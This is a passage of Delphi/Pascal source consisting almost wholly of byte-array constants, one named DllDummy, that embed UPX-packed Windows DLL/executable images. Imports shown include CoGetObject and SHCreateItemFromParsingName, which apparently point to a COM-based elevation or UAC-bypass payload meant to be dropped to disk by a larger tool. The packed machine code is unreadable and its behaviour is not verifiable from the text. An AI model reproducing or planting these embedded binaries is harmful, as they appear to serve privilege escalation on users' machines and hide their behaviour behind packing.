	$72, $ED, $B8, $01, $00, $00, $00, $01, $DB, $75, $07, $8B, $1E, $83, $EE,
	$FC, $11, $DB, $11, $C0, $01, $DB, $73, $EF, $75, $09, $8B, $1E, $83, $EE,
	$FC, $11, $DB, $73, $E4, $31, $C9, $83, $E8, $03, $72, $0D, $C1, $E0, $08,
	$8A, $06, $46, $83, $F0, $FF, $74, $74, $89, $C5, $01, $DB, $75, $07, $8B,
	$1E, $83, $EE, $FC, $11, $DB, $11, $C9, $01, $DB, $75, $07, $8B, $1E, $83,
	$EE, $FC, $11, $DB, $11, $C9, $75, $20, $41, $01, $DB, $75, $07, $8B, $1E,
	$83, $EE, $FC, $11, $DB, $11, $C9, $01, $DB, $73, $EF, $75, $09, $8B, $1E,
	$83, $EE, $FC, $11, $DB, $73, $E4, $83, $C1, $02, $81, $FD, $00, $F3, $FF,
	$FF, $83, $D1, $01, $8D, $14, $2F, $83, $FD, $FC, $76, $0F, $8A, $02, $42,
	$88, $07, $47, $49, $75, $F7, $E9, $63, $FF, $FF, $FF, $90, $8B, $02, $83,
	$C2, $04, $89, $07, $83, $C7, $04, $83, $E9, $04, $77, $F1, $01, $CF, $E9,
	$4C, $FF, $FF, $FF, $5E, $89, $F7, $B9, $01, $00, $00, $00, $8A, $07, $47,
	$2C, $E8, $3C, $01, $77, $F7, $8B, $07, $8A, $5F, $04, $86, $C4, $C1, $C0,
	$10, $86, $C4, $29, $F8, $80, $EB, $E8, $01, $F0, $89, $07, $83, $C7, $05,
	$88, $D8, $E2, $E0, $8D, $BE, $00, $30, $00, $00, $8B, $07, $09, $C0, $74,
	$3C, $8B, $5F, $04, $8D, $84, $30, $00, $50, $00, $00, $01, $F3, $50, $83,
	$C7, $08, $FF, $96, $50, $50, $00, $00, $95, $8A, $07, $47, $08, $C0, $74,
	$DC, $89, $F9, $57, $48, $F2, $AE, $55, $FF, $96, $54, $50, $00, $00, $09,
	$C0, $74, $07, $89, $03, $83, $C3, $04, $EB, $E1, $FF, $96, $64, $50, $00,
	$00, $8B, $AE, $58, $50, $00, $00, $8D, $BE, $00, $F0, $FF, $FF, $BB, $00,
	$10, $00, $00, $50, $54, $6A, $04, $53, $57, $FF, $D5, $8D, $87, $9F, $01,
	$00, $00, $80, $20, $7F, $80, $60, $28, $7F, $58, $50, $54, $50, $53, $57,
	$FF, $D5, $58, $61, $8D, $44, $24, $80, $6A, $00, $39, $C4, $75, $FA, $83,
	$EC, $80, $E9, $E7, $BB, $FF, $FF, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $7C, $60, $00, $00,
	$50, $60, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $89, $60, $00, $00, $6C, $60, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $93, $60, $00, $00, $74, $60, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $9E, $60, $00, $00, $AC, $60, $00, $00, $BC, $60, $00,
	$00, $CC, $60, $00, $00, $DA, $60, $00, $00, $E8, $60, $00, $00, $00, $00,
	$00, $00, $F6, $60, $00, $00, $00, $00, $00, $00, $04, $61, $00, $00, $00,
	$00, $00, $00, $4B, $45, $52, $4E, $45, $4C, $33, $32, $2E, $44, $4C, $4C,
	$00, $4F, $4C, $45, $33, $32, $2E, $44, $4C, $4C, $00, $53, $48, $45, $4C,
	$4C, $33, $32, $2E, $44, $4C, $4C, $00, $00, $4C, $6F, $61, $64, $4C, $69,
	$62, $72, $61, $72, $79, $41, $00, $00, $47, $65, $74, $50, $72, $6F, $63,
	$41, $64, $64, $72, $65, $73, $73, $00, $00, $56, $69, $72, $74, $75, $61,
	$6C, $50, $72, $6F, $74, $65, $63, $74, $00, $00, $56, $69, $72, $74, $75,
	$61, $6C, $41, $6C, $6C, $6F, $63, $00, $00, $56, $69, $72, $74, $75, $61,
	$6C, $46, $72, $65, $65, $00, $00, $00, $45, $78, $69, $74, $50, $72, $6F,
	$63, $65, $73, $73, $00, $00, $00, $43, $6F, $47, $65, $74, $4F, $62, $6A,
	$65, $63, $74, $00, $00, $00, $53, $48, $43, $72, $65, $61, $74, $65, $49,
	$74, $65, $6D, $46, $72, $6F, $6D, $50, $61, $72, $73, $69, $6E, $67, $4E,
	$61, $6D, $65, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00);
 
  DllDummy: array [0 .. 3583] of byte = ($4D, $5A, $90, $00, $03, $00, $00, $00,
	$04, $00, $00, $00, $FF, $FF, $00, $00, $B8, $00, $00, $00, $00, $00, $00,
	$00, $40, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $80, $00, $00, $00, $0E, $1F, $BA, $0E,
	$00, $B4, $09, $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68, $69, $73, $20,
	$70, $72, $6F, $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F, $74, $20,
	$62, $65, $20, $72, $75, $6E, $20, $69, $6E, $20, $44, $4F, $53, $20, $6D,
	$6F, $64, $65, $2E, $0D, $0D, $0A, $24, $00, $00, $00, $00, $00, $00, $00,
	$50, $45, $00, $00, $4C, $01, $03, $00, $FA, $BF, $34, $53, $00, $00, $00,
	$00, $00, $00, $00, $00, $E0, $00, $0E, $21, $0B, $01, $02, $32, $00, $10,
	$00, $00, $00, $10, $00, $00, $00, $70, $00, $00, $60, $88, $00, $00, $00,
	$80, $00, $00, $00, $90, $00, $00, $00, $00, $00, $10, $00, $10, $00, $00,
	$00, $02, $00, $00, $04, $00, $00, $00, $00, $00, $00, $00, $04, $00, $00,
	$00, $00, $00, $00, $00, $00, $A0, $00, $00, $00, $10, $00, $00, $00, $00,
	$00, $00, $03, $00, $00, $00, $00, $00, $10, $00, $00, $10, $00, $00, $00,
	$00, $10, $00, $00, $10, $00, $00, $00, $00, $00, $00, $10, $00, $00, $00,
	$00, $91, $00, $00, $48, $00, $00, $00, $00, $90, $00, $00, $00, $01, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $48, $91, $00, $00, $0C,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $55, $50, $58, $30, $00, $00, $00,
	$00, $00, $70, $00, $00, $00, $10, $00, $00, $00, $00, $00, $00, $00, $02,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $80,
	$00, $00, $E0, $55, $50, $58, $31, $00, $00, $00, $00, $00, $10, $00, $00,
	$00, $80, $00, $00, $00, $0A, $00, $00, $00, $02, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $40, $00, $00, $E0, $55, $50,
	$58, $32, $00, $00, $00, $00, $00, $10, $00, $00, $00, $90, $00, $00, $00,
	$02, $00, $00, $00, $0C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $40, $00, $00, $C0, $33, $2E, $30, $37, $00, $55, $50,
	$58, $21, $0D, $09, $02, $0A, $53, $F5, $AB, $08, $7F, $8C, $C0, $1C, $D1,
	$63, $00, $00, $41, $08, $00, $00, $00, $1A, $00, $00, $00, $00, $00, $B4,
	$7E, $DB, $FF, $FF, $83, $7C, $24, $08, $01, $75, $0E, $8B, $44, $24, $04,
	$A3, $00, $00, $32, $D8, $E8, $22, $05, $00, $14, $02, $75, $77, $19, $EC,
	$C7, $06, $00, $75, $05, $E8, $38, $12, $03, $B8, $01, $0B, $E5, $B3, $9D,
	$7B, $C2, $0C, $00, $68, $06, $04, $10, $00, $09, $E8, $BB, $0F, $DD, $6D,
	$BA, $7F, $3F, $D4, $E8, $EB, $16, $0E, $F1, $E8, $18, $18, $C3, $E8, $11,
	$7B, $37, $76, $F9, $1E, $26, $17, $FF, $35, $1F, $97, $1A, $C3, $C3, $8B,
	$15, $0C, $9F, $3B, $1B, $BB, $E8, $52, $52, $14, $E8, $43, $AC, $4D, $17,
	$30, $EF, $2E, $DB, $FD, $00, $01, $14, $24, $E8, $47, $09, $8F, $05, $1D,
	$65, $37, $31, $C0, $C3, $00, $38, $14, $44, $65, $00, $FF, $25, $91, $91,
	$B1, $25, $70, $C0, $05, $D8, $DC, $E0, $27, $F8, $91, $E0, $E4, $FF, $74,
	$24, $04, $A2, $EC, $E8, $CE, $03, $D2, $FD, $97, $8B, $85, $C0, $74, $17,
	$FF, $30, $FF, $15, $1A, $E8, $D8, $7F, $C1, $BF, $37, $C2, $04, $00, $6A,
	$01, $10, $E8, $55, $06, $14, $10, $1E, $6A, $DF, $B1, $7F, $C1, $04, $6A,
	$53, $F0, $E8, $F2, $05, $12, $32, $F4, $0E, $EC, $AE, $7B, $FF, $63, $3F,
	$EC, $C3, $55, $8B, $EC, $51, $53, $56, $57, $43, $22, $18, $35, $FF, $FF,
	$63, $FF, $83, $4D, $FC, $FF, $8B, $F8, $33, $F6, $20, $F0, $8A, $08, $84,
	$C9, $74, $75, $8B, $55, $08, $80, $F9, $20, $75, $06, $40, $80, $77, $FB,
	$F6, $F6, $38, $20, $74, $FA, $13, $33, $DB, $43, $0F, $22, $75, $23, $40,
	$0A, $8B, $F0, $20, $FD, $B7, $DF, $5D, $16, $0D, $74, $07, $40, $2C, $75,
	$F4, $23, $00, $74, $05, $8B, $D0, $40, $EB, $21, $03, $73, $AD, $BB, $04,
	$EB, $1D, $1D, $17, $23, $3D, $1F, $F6, $B7, $B7, $6F, $18, $74, $04, $EB,
	$DE, $45, $8B, $0F, $3B, $6D, $75, $07, $8B, $4D, $08, $85, $18, $0B, $EE,
	$BA, $FF, $1A, $85, $DB, $74, $03, $FF, $45, $FC, $5E, $F6, $27, $8E, $83,
	$7D, $F7, $F7, $F6, $FF, $76, $13, $8B, $10, $EB, $14, $85, $F6, $74, $0D,
	$2B, $D6, $89, $11, $FF, $2A, $C6, $EB, $06, $2E, $FE, $D9, $73, $7F, $83,
	$21, $00, $5F, $5E, $5B, $C9, $EF, $C0, $BD, $83, $65, $FC, $00, $E8, $56,
	$70, $EB, $3E, $E6, $E4, $4E, $78, $02, $89, $08, $D8, $8D, $3E, $50, $E8,
	$DF, $DC, $FF, $AE, $2E, $00, $75, $0C, $8B, $75, $FC, $56, $8B, $D8, $E8,
	$4F, $E4, $07, $F8, $53, $57, $E8, $5A, $E4, $EC, $BF, $B7, $EE, $C4, $0C,
	$C6, $04, $37, $4D, $08, $1B, $B7, $FD, $0E, $EF, $4E, $30, $F4, $6A, $02,
	$4A, $3F, $FF, $D6, $02, $37, $04, $6E, $72, $C3, $87, $11, $F8, $5E, $7F,
	$0D, $FF, $37, $9D, $E6, $CA, $7F, $E1, $89, $07, $C9, $45, $8D, $6C, $24,
	$9C, $81, $EC, $C4, $00, $73, $D7, $76, $F7, $DF, $FE, $6A, $44, $5E, $56,
	$33, $FF, $3B, $DC, $53, $47, $50, $C7, $45, $60, $20, $17, $89, $5D, $58,
	$02, $CB, $B2, $2C, $CB, $50, $44, $5C, $48, $54, $40, $ED, $1F, $B9, $2D,
	$4C, $1E, $30, $0C, $34, $89, $7D, $38, $E8, $F3, $FD, $A8, $74, $FF, $ED,
	$EE, $8A, $4D, $78, $94, $89, $75, $DC, $10, $08, $F6, $C1, $02, $74, $0B,
	$33, $C0, $43, $28, $6F, $8D, $F8, $DF, $EB, $02, $8B, $C7, $66, $89, $45,
	$0C, $BE, $00, $00, $1A, $40, $74, $1D, $6F, $DD, $0B, $6F, $7F, $7C, $3B,
	$C3, $7E, $8B, $40, $0C, $06, $0F, $4B, $08, $01, $01, $DF, $DE, $5E, $36,
	$45, $14, $4C, $EB, $39, $21, $04, $74, $38, $04, $10, $74, $33, $53, $EE,
	$AC, $D9, $6E, $8A, $30, $50, $03, $50, $58, $C6, $FC, $C5, $CD, $B0, $FB,
	$B7, $1C, $3D, $58, $09, $75, $08, $8D, $7D, $50, $31, $E8, $01, $23, $40,
	$5B, $BB, $E0, $88, $4C, $5A, $49, $60, $F7, $1B, $85, $E0, $CD, $64, $DB,
	$B7, $04, $18, $3C, $74, $72, $F6, $0A, $08, $43, $5C, $44, $F9, $32, $32,
	$21, $5C, $44, $18, $E8, $BD, $FE, $93, $74, $C1, $5E, $3C, $47, $38, $20,
	$54, $CB, $C8, $84, $34, $48, $54, $48, $1C, $7F, $B8, $5D, $C8, $E8, $84,
	$85, $18, $74, $2A, $86, $31, $00, $39, $5D, $B3, $B9, $8D, $8D, $14, $20,
	$6A, $8D, $D6, $A3, $0B, $18, $B7, $D3, $2C, $4F, $F5, $18, $1C, $F4, $4A,
	$7D, $6C, $B2, $B9, $DB, $F6, $3B, $FB, $75, $0A, $3C, $6C, $31, $20, $06,
	$0D, $1C, $70, $8D, $B8, $70, $B6, $0E, $70, $E6, $D6, $04, $F7, $14, $FF,
	$EE, $C6, $75, $70, $85, $E8, $CC, $09, $59, $59, $8D, $44, $06, $04, $50,
	$53, $76, $DF, $FE, $8B, $09, $8F, $31, $04, $80, $3F, $22, $46, $7C, $74,
	$23, $BE, $30, $04, $56, $A7, $7B, $EB, $36, $30, $AA, $27, $57, $32, $7C,
	$E8, $A7, $08, $56, $6D, $6C, $FB, $C7, $9E, $04, $2A, $18, $EB, $09, $57,
	$1D, $8C, $45, $8B, $51, $21, $5F, $C1, $F4, $38, $1E, $74, $19, $51, $DE,
	$2A, $7C, $B6, $0D, $DB, $C8, $73, $10, $DF, $74, $93, $07, $38, $B2, $03,
	$DB, $A5, $D9, $16, $DC, $74, $FF, $20, $DC, $75, $74, $79, $75, $2F, $1F,
	$76, $B7, $60, $02, $4C, $53, $07, $7C, $53, $0F, $31, $08, $0F, $84, $8E,
	$B6, $D2, $F2, $73, $F7, $F2, $30, $E8, $5C, $40, $1C, $5C, $F2, $3C, $CF,
	$D6, $DB, $09, $58, $58, $54, $54, $B1, $D1, $50, $B6, $04, $24, $59, $01,
	$18, $6A, $D3, $85, $36, $D6, $D5, $20, $41, $0C, $1F, $A8, $45, $BF, $DD,
	$FB, $FE, $F4, $D8, $57, $10, $10, $6A, $28, $EB, $E0, $E8, $74, $02, $AC,
	$57, $FC, $ED, $DB, $DB, $58, $16, $14, $95, $20, $89, $06, $04, $28, $89,
	$46, $04, $05, $97, $65, $59, $96, $44, $0C, $50, $08, $48, $10, $E9, $90,
	$ED, $7D, $86, $2A, $7C, $52, $D6, $09, $8D, $3D, $79, $9E, $67, $9B, $D7,
	$09, $44, $44, $50, $50, $A7, $4B, $32, $D8, $A1, $D7, $09, $48, $AD, $E6,
	$DE, $95, $48, $A6, $78, $0F, $85, $E5, $D9, $13, $45, $50, $DE, $FA, $85,
	$3B, $32, $6C, $56, $E8, $48, $03, $63, $8D, $74, $30, $EC, $6E, $DD, $BF,
	$AD, $59, $3B, $F0, $76, $26, $80, $3E, $5F, $4E, $09, $77, $F6, $0D, $18,
	$50, $6F, $8E, $D6, $3D, $41, $2B, $22, $2B, $2B, $DC, $B9, $88, $5C, $06,
	$6E, $97, $FF, $85, $01, $9B, $74, $6A, $3C, $5E, $56, $8D, $45, $A0, $53,
	$D0, $FA, $F5, $0F, $B7, $B9, $CD, $B0, $95, $04, $14, $BC, $62, $05, $B8,
	$48, $E6, $4C, $CB, $B2, $05, $B0, $70, $B4, $38, $25, $D1, $67, $C3, $70,
	$E1, $75, $A0, $FD, $A4, $40, $88, $04, $AC, $E4, $12, $9A, $1F, $76, $31,
	$24, $5C, $39, $D8, $43, $F2, $00, $B9, $3A, $3A, $01, $D8, $65, $7B, $A1,
	$C0, $83, $4E, $6C, $3D, $89, $5E, $0C, $02, $08, $B3, $F1, $6D, $B5, $10,
	$65, $E3, $0C, $47, $D7, $B6, $40, $D7, $76, $60, $B8, $BB, $56, $18, $32,
	$40, $57, $7A, $23, $B0, $75, $83, $C5, $64, $5A, $14, $98, $B8, $8B, $AB,
	$5C, $32, $50, $85, $B5, $6F, $C8, $FB, $BF, $02, $6F, $28, $90, $F3, $FE,
	$78, $11, $8B, $4C, $C9, $DD, $5D, $58, $F8, $3B, $41, $08, $7D, $9C, $49,
	$93, $04, $81, $AA, $07, $83, $38, $BD, $E7, $2A, $6D, $FF, $02, $FC, $96,
	$24, $20, $4B, $EE, $F6, $D7, $28, $20, $24, $1B, $8B, $51, $E7, $04, $82,
	$20, $47, $FF, $9B, $6B, $17, $B6, $31, $57, $FF, $A6, $B9, $F9, $4E, $FD,
	$90, $50, $CB, $BD, $8D, $A5, $83, $F1, $51, $C1, $00, $BC, $3A, $8E, $0D,
	$F6, $8D, $43, $C6, $E2, $6A, $20, $6A, $08, $9B, $D7, $B7, $5C, $FB, $AE,
	$D2, $50, $0C, $83, $66, $10, $00, $CD, $09, $2D, $46, $14, $65, $EF, $70,
	$74, $06, $10, $13, $0A, $C1, $E0, $02, $50, $2A, $35, $68, $81, $8E, $21,
	$5F, $73, $5E, $6C, $D2, $EB, $3A, $07, $9C, $AF, $56, $BC, $08, $1F, $3D,
	$6D, $77, $0D, $5A, $95, $1E, $F0, $74, $06, $1B, $54, $D7, $AD, $6C, $B6,
	$45, $59, $2E, $26, $D2, $13, $C4, $F6, $5B, $77, $FB, $8B, $11, $85, $D2,
	$DC, $89, $42, $08, $89, $73, $01, $83, $C0, $08, $C3, $DF, $C2, $12, $DD,
	$1E, $83, $E8, $06, $10, $39, $09, $89, $0F, $B7, $6D, $07, $85, $15, $39,
	$83, $61, $71, $EB, $0B, $48, $04, $57, $DA, $B6, $60, $10, $AE, $50, $0A,
	$51, $BD, $F2, $44, $1F, $04, $04, $67, $C5, $6A, $DD, $C1, $97, $8B, $08,
	$18, $61, $D8, $E3, $33, $0C, $C7, $6B, $FE, $CA, $07, $B9, $00, $09, $33,
	$10, $10, $A1, $08, $83, $CE, $BE, $DD, $3F, $8B, $0D, $21, $51, $9A, $A3,
	$EF, $B2, $D7, $0D, $BB, $5D, $C3, $CC, $00, $4F, $A1, $12, $27, $D8, $D8,
	$B7, $10, $D0, $15, $0C, $52, $62, $DC, $2F, $1B, $05, $BE, $5F, $83, $EC,
	$08, $A1, $6D, $03, $83, $87, $F8, $FC, $12, $FF, $63, $35, $10, $83, $E9,
	$04, $39, $4D, $F8, $7C, $33, $3E, $F8, $81, $C2, $00, $40, $EF, $16, $FB,
	$0C, $99, $3F, $10, $82, $F6, $05, $50, $25, $C8, $96, $CC, $6C, $64, $51,
	$57, $8C, $1C, $7B, $83, $8F, $B1, $7E, $03, $E5, $FC, $CE, $0C, $03, $4D,
	$54, $2C, $0C, $BB, $6F, $0D, $5D, $8B, $0E, $E5, $5D, $D6, $19, $68, $64,
	$64, $6C, $C4, $05, $C8, $CC, $D0, $62, $82, $A2, $92, $98, $20, $04, $02,
	$28, $69, $B6, $22, $52, $40, $00, $49, $0A, $86, $20, $02, $C0, $04, $78,
	$B3, $CB, $BF, $6C, $D8, $30, $01, $48, $65, $61, $70, $43, $72, $74, $65,
	$0B, $DB, $B6, $DF, $FE, $44, $65, $73, $74, $72, $6F, $79, $0C, $45, $78,
	$69, $74, $50, $09, $63, $0F, $73, $0C, $7D, $DB, $FE, $7F, $47, $65, $74,
	$4D, $6F, $64, $75, $6C, $65, $48, $61, $6E, $64, $05, $41, $11, $43, $6C,
	$6F, $73, $B5, $BF, $DC, $82, $0D, $2B, $49, $6E, $69, $61, $6C, $69, $7A,
	$65, $4A, $7D, $EC, $F6, $D6, $09, $63, $0A, $53, $65, $63, $07, $6F, $6E,
	$39, $43, $6F, $6D, $6D, $65, $DB, $EF, $DD, $28, $4C, $69, $6E, $38, $10,
	$75, $72, $71, $6E, $5D, $7E, $96, $AC, $FB, $44, $75, $70, $6C, $34, $74,
	$4F, $90, $50, $69, $70, $65, $B6, $DF, $B0, $C7, $2F, $53, $74, $64, $19,
	$A2, $41, $6C, $7B, $63, $BE, $ED, $66, $C9, $24, $44, $58, $57, $61, $7A,
	$46, $6F, $72, $53, $DD, $9C, $7B, $DB, $66, $67, $29, $4F, $62, $6A, $81,
	$C5, $66, $65, $72, $6F, $65, $DB, $94, $94, $4C, $39, $76, $AA, $5B, $0B,
	$B1, $83, $B5, $46, $54, $65, $52, $65, $67, $2A, $85, $0D, $AE, $FD, $34,
	$C0, $6D, $65, $6D, $F2, $53, $20, $6E, $C3, $62, $5B, $EC, $63, $70, $79,
	$08, $69, $6E, $07, $0F, $DA, $CD, $66, $73, $C5, $31, $90, $24, $31, $53,
	$68, $65, $43, $AC, $B5, $B6, $15, $48, $60, $75, $85, $06, $A3, $00, $FF,
	$BF, $F9, $7F, $10, $40, $20, $0D, $08, $10, $0E, $F0, $63, $0F, $06, $0A,
	$11, $0A, $18, $09, $0A, $05, $06, $0E, $13, $AB, $4F, $18, $0D, $FF, $FB,
	$FF, $FF, $BA, $44, $39, $2B, $32, $0F, $1E, $06, $0D, $33, $40, $0E, $34,
	$0A, $07, $07, $10, $32, $C5, $06, $15, $07, $2D, $06, $16, $76, $0A, $2B,
	$FD, $DB, $DF, $FE, $20, $06, $21, $06, $54, $06, $13, $2D, $0A, $09, $09,
	$07, $05, $13, $03, $06, $07, $16, $0C, $17, $05, $0A, $F8, $76, $FB, $DB,
	$0C, $05, $12, $4E, $00, $50, $45, $60, $4C, $01, $07, $FA, $BF, $34, $53,
	$2C, $FF, $07, $23, $8A, $E0, $00, $0E, $21, $0B, $01, $02, $32, $00, $0C,
	$0A, $BE, $60, $83, $9D, $10, $03, $30, $0D, $0B, $02, $A4, $9B, $05, $D9,
	$1E, $04, $07, $0C, $70, $64, $CB, $0E, $BB, $03, $38, $10, $07, $4A, $B3,
	$6F, $F9, $BA, $47, $46, $2A, $40, $50, $14, $50, $17, $48, $C1, $32, $65,
	$02, $60, $C8, $23, $0F, $64, $DD, $55, $C0, $57, $6C, $1F, $2E, $63, $6F,
	$C2, $DE, $61, $CD, $64, $65, $B0, $90, $02, $B7, $7D, $93, $DD, $85, $E6,
	$20, $2E, $88, $78, $74, $10, $4A, $08, $85, $03, $D8, $08, $0F, $06, $27,
	$72, $64, $C9, $46, $36, $79, $B6, $61, $4F, $56, $30, $D0, $B1, $C9, $EE,
	$ED, $92, $40, $2E, $26, $10, $14, $03, $73, $58, $63, $9B, $B2, $12, $27,
	$C0, $4F, $73, $1B, $42, $23, $80, $0C, $76, $50, $4F, $16, $7F, $32, $C8,
	$37, $46, $74, $C8, $27, $60, $18, $F7, $75, $7C, $53, $42, $1B, $2C, $50,
	$7B, $7C, $D8, $04, $00, $00, $00, $00, $00, $40, $02, $00, $FF, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $80, $7C, $24, $08, $01, $0F, $85,
	$86, $01, $00, $00, $60, $BE, $15, $80, $00, $10, $8D, $BE, $EB, $8F, $FF,
	$FF, $57, $EB, $10, $90, $90, $90, $90, $90, $90, $8A, $06, $46, $88, $07,
	$47, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC, $11, $DB, $72, $ED, $B8,
	$01, $00, $00, $00, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC, $11, $DB,
	$11, $C0, $01, $DB, $73, $EF, $75, $09, $8B, $1E, $83, $EE, $FC, $11, $DB,
	$73, $E4, $31, $C9, $83, $E8, $03, $72, $0D, $C1, $E0, $08, $8A, $06, $46,
	$83, $F0, $FF, $74, $74, $89, $C5, $01, $DB, $75, $07, $8B, $1E, $83, $EE,
	$FC, $11, $DB, $11, $C9, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC, $11,
	$DB, $11, $C9, $75, $20, $41, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC,
	$11, $DB, $11, $C9, $01, $DB, $73, $EF, $75, $09, $8B, $1E, $83, $EE, $FC,
	$11, $DB, $73, $E4, $83, $C1, $02, $81, $FD, $00, $F3, $FF, $FF, $83, $D1,
	$01, $8D, $14, $2F, $83, $FD, $FC, $76, $0F, $8A, $02, $42, $88, $07, $47,
	$49, $75, $F7, $E9, $63, $FF, $FF, $FF, $90, $8B, $02, $83, $C2, $04, $89,
	$07, $83, $C7, $04, $83, $E9, $04, $77, $F1, $01, $CF, $E9, $4C, $FF, $FF,
	$FF, $5E, $8D, $BE, $00, $60, $00, $00, $8B, $07, $09, $C0, $74, $3C, $8B,
	$5F, $04, $8D, $84, $30, $00, $80, $00, $00, $01, $F3, $50, $83, $C7, $08,
	$FF, $96, $50, $80, $00, $00, $95, $8A, $07, $47, $08, $C0, $74, $DC, $89,
	$F9, $57, $48, $F2, $AE, $55, $FF, $96, $54, $80, $00, $00, $09, $C0, $74,
	$07, $89, $03, $83, $C3, $04, $EB, $E1, $61, $31, $C0, $C2, $0C, $00, $83,
